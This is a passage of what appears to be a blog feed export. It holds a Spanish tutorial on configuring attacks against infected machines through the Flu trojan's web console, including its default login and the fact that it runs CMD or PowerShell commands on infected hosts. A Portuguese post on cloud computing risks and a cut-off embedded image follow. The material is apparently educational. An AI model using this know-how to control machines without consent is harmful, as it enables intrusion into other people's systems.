<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja0IM25LqGI501cFv7uuIDYramnm690EwGsUM2id9ik4BGE1lLbnh6gUv_rJnrsxJFtl8CidWAdKppjcIQ6ADPggjsK7Bexigsaiun4mBmPjJnGHTu-x3TnIwfAJ4sSKQIbaz4wQ_jI-Nz/s1600/flu6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="303" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja0IM25LqGI501cFv7uuIDYramnm690EwGsUM2id9ik4BGE1lLbnh6gUv_rJnrsxJFtl8CidWAdKppjcIQ6ADPggjsK7Bexigsaiun4mBmPjJnGHTu-x3TnIwfAJ4sSKQIbaz4wQ_jI-Nz/s400/flu6.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Para configurar los ataques que realizaremos contra las máquinas infectadas accederemos a la consola principal de Flu. Para ello en nuestro caso nos dirigiremos a la ruta “localhost”. Y nos encontraremos con la siguiente pantalla:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiicQinwvD-0Sruy8oTzD-HeJ1pgwmcn5XJlFktJ36bhOMUNopjgLH9wYgRlBzZ2j55RHmKSoNWFPmx9M7kgqbNyVnobawZBvO5YjoOAvIqg9t6TKxRdEDTdOlfxzPsAKGLEUEVOAUWMEVK/s1600/flu7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiicQinwvD-0Sruy8oTzD-HeJ1pgwmcn5XJlFktJ36bhOMUNopjgLH9wYgRlBzZ2j55RHmKSoNWFPmx9M7kgqbNyVnobawZBvO5YjoOAvIqg9t6TKxRdEDTdOlfxzPsAKGLEUEVOAUWMEVK/s400/flu7.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both;">
Los datos de autenticación por defecto son: </div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
Usuario: Admin </div>
<div class="separator" style="clear: both;">
Contraseña: 1234 </div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
Estos datos se pueden modificar desde el panel de control, en la pestaña “gestión de usuarios”.</div>
<br />
<br />
Nota : Flu acepta todos los comandos que se puedan ejecutar tanto en un CMD como en una consola de Powershell (si el equipo infectado cuenta con ella). En caso de querer enviar comandos de Powershell será necesario anteceder la palabra “powershell” a cualquier comando.<br />
<br />
Para mayor profundización y estudio les sugiero que visiten la página oficial de Flu donde podran realizar las descargas, ejemplos de los comandos de flu y demás : www.flu-project.com<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-11677214094926804482013-01-26T02:34:00.001+01:002013-01-26T02:40:37.280+01:00Impactos da computação em nuvem<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div style="text-align: justify;">
Como os CxOs buscam outras maneiras de atender à crescente demanda de TI, muitos estão bem perto de passar a enxergar a computação em nuvem como uma opção real para as necessidades de sua empresa. A promessa da computação em nuvem é revolucionar o mundo dos serviços de TI transformando a computação em um utilitário ubíquo, aproveitando atributos, como, por exemplo, maior agilidade, elasticidade, capacidade de armazenamento e redundância, para gerenciar os ativos de informação. A influência e a utilização contínua da inovação da Internet tem permitido que a computação em nuvem utilize as infraestruturas existentes e a transforme em serviços que as empresas poderiam fornecer tanto para economias significativas de custos quanto para uma maior eficiência. As empresas estão percebendo que existe um potencial para aproveitar essa inovação para servir melhor a seus clientes e obter vantagens comerciais.</div>
<br />
<div style="text-align: justify;">
Por oferecer às Empresas a oportunidade de dissociar suas necessidades de TI de sua infraestrutura, a computação em nuvem é capaz de oferecer, a longo prazo, uma certa economia às empresas, incluindo a redução de custos de infraestrutura e modelos de oferta de pagamentos por serviço. Mudando os serviços de TI para o sistema de nuvem, as empresas podem tirar proveito do uso de serviços em um modelo sob demanda. A redução de despesas de capital inicial é necessária, o que permite às empresas maior flexibilidade com novos serviços de TI.</div>
<br />
<div style="text-align: justify;">
Por todas essas razões, é fácil compreender porque a computação em nuvem é uma oferta de serviços atraente para qualquer negócio em potencial que deseje aprimorar recursos de TI enquanto controla os custos. No entanto, convém notar que, junto com os benefícios, vêm riscos e preocupações com segurança que devem ser considerados. Como os serviços de TI são contratados fora da empresa, existe um risco adicional de contar com uma dependência maior de um provedor terceirizado para o fornecimento de serviços de TI disponíveis, flexíveis e eficientes. Enquanto muitas empresas estão habituadas a gerenciar esse tipo de risco, as mudanças são necessárias para expandir abordagens de administração e estruturas para tratar adequadamente as novas soluções de TI e melhorar os processos comerciais.</div>
<br />
<div style="text-align: justify;">
Como acontece com qualquer tecnologia emergente, a computação em nuvem oferece a possibilidade de recompensa elevada em termos de contenção de custos e recursos, como agilidade e velocidade de fornecimento. No entanto, como uma iniciativa “nova”, ela também pode trazer um alto risco em potencial. A computação em nuvem apresenta um nível de abstração entre a infraestrutura física e o proprietário da informação a ser armazenada e processada. Tradicionalmente, o proprietário dos dados mantém controle</div>
<div style="text-align: justify;">
direto ou indireto do ambiente físico que afeta seus dados. No sistema de nuvem, isso não ocorre mais. Devido a essa abstração, já existe uma demanda generalizada de maior transparência e garantia de abordagem robusta de segurança do ambiente de controle e de segurança do provedor de serviços de nuvem.Uma vez determinado que os serviços de nuvem são uma solução plausível para uma empresa, é importante identificar os objetivos comerciais, bem como os riscos associados à nuvem. Isso vai ajudar as empresas a determinar quais tipos de dados devem ser confiáveis para o sistema de nuvem, bem como quais serviços podem oferecer maior benefício. O que é exatamente a computação em nuvem? Uma das questões mais confusas em torno do sistema de nuvem e seus serviços relacionados é a falta de acordo sobre as</div>
<div style="text-align: justify;">
definições. Tal como acontece com todas as tecnologias emergentes, a falta de clareza e de acordo muitas vezes dificulta a avaliação e a aprovação dessa tecnologia. Os dois grupos que têm oferecido uma base de definições são o NIST (National Institute of Standards and Technology, Instituto Nacional de Padrões e Tecnologia) e a Cloud Security Alliance</div>
<br />
<br />
(Aliança de Segurança da Nuvem). Ambos os grupos definem a computação em nuvem como um modelo para permitir o acesso à rede sob demanda, de forma conveniente, a um conjunto compartilhado de recursos de computação configuráveis (por exemplo, redes, servidores, armazenamento, aplicativos e serviços) que podem ser rapidamente fornecidos e lançados com o mínimo esforço de gestão ou interação do prestador de serviço. Outra forma de descrever os serviços oferecidos no sistema de nuvem é compará-los ao de um utilitário. Assim como as empresas pagam pelos serviços de eletricidade, gás e<br />
água que utilizam, agora elas têm a opção de pagar pelos serviços de TI em uma base de consumo.<br />
<br />
<div style="text-align: justify;">
O modelo da nuvem pode ser composto por três modelos de serviço (figura 1), quatro modelos de implantação (figura 2) e cinco características essenciais (figura 3). Riscos e benefícios em geral poderão variar de modelo para modelo e vale ressaltar que, ao apostar nos diferentes tipos de serviços e modelos de implantação, as empresas devem considerar os riscos que os acompanham. </div>
<br />
<br />
<img alt="" height="315" src="data:image/png;base64,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